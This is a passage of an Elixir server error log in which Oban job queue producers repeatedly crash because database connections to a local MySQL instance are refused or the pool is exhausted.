    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-03 05:42:19.237763Z], limit: 50, uuid: "293f965c-beca-4788-9f33-a8228b5bda3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.237772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.201754>, refresh_timer: #Reference<0.2525715032.1074003971.218342>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-03 05:42:19.242978Z], limit: 3, uuid: "4b1c59a9-6078-4e7a-8b6e-a37c6a74127a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.242991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.201755>, refresh_timer: #Reference<0.2525715032.1067188228.17475>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-03 05:42:19.243858Z], limit: 5, uuid: "a8e465c1-d99e-4fa5-bdf2-afd75e3867c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.243863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228223>, refresh_timer: #Reference<0.2525715032.1110441985.228202>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-03 05:42:19.242595Z], limit: 20, uuid: "ef8485ed-2a1c-4f3d-951d-894fe20d75d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.242600Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228221>, refresh_timer: #Reference<0.2525715032.1110441985.228181>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-03 05:42:19.251843Z], limit: 10, uuid: "94ee5572-a799-4805-af91-56d423f778f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.251850Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.201753>, refresh_timer: #Reference<0.2525715032.1092616194.201745>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-03 05:42:19.242330Z], limit: 5, uuid: "479e7cd0-c509-4745-b913-4209f05d5d85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:19.242337Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228222>, refresh_timer: #Reference<0.2525715032.1110441985.228177>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:31.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:32.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:32.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:33.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:34.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:34.430000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:35.540000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:35.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:36.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:36.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:37.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:37.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:42.457000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 113ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-03 05:42:31.239291Z], limit: 3, uuid: "3112f292-08c0-4ab1-9a8a-121db2c9bf57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:31.239296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.202055>, refresh_timer: #Reference<0.2525715032.1092616194.202008>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:42.456000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 275ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-03 05:42:31.241568Z], limit: 10, uuid: "ea867ccd-0e47-48a7-bc79-4bab7b9f09ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:31.241574Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1067188228.17692>, refresh_timer: #Reference<0.2525715032.1110441985.228290>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:42.456000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 272ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-03 05:42:31.240763Z], limit: 5, uuid: "02c4979c-9b41-4d0a-aed9-8f09332bc074", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:31.240768Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.202056>, refresh_timer: #Reference<0.2525715032.1074003971.218393>, 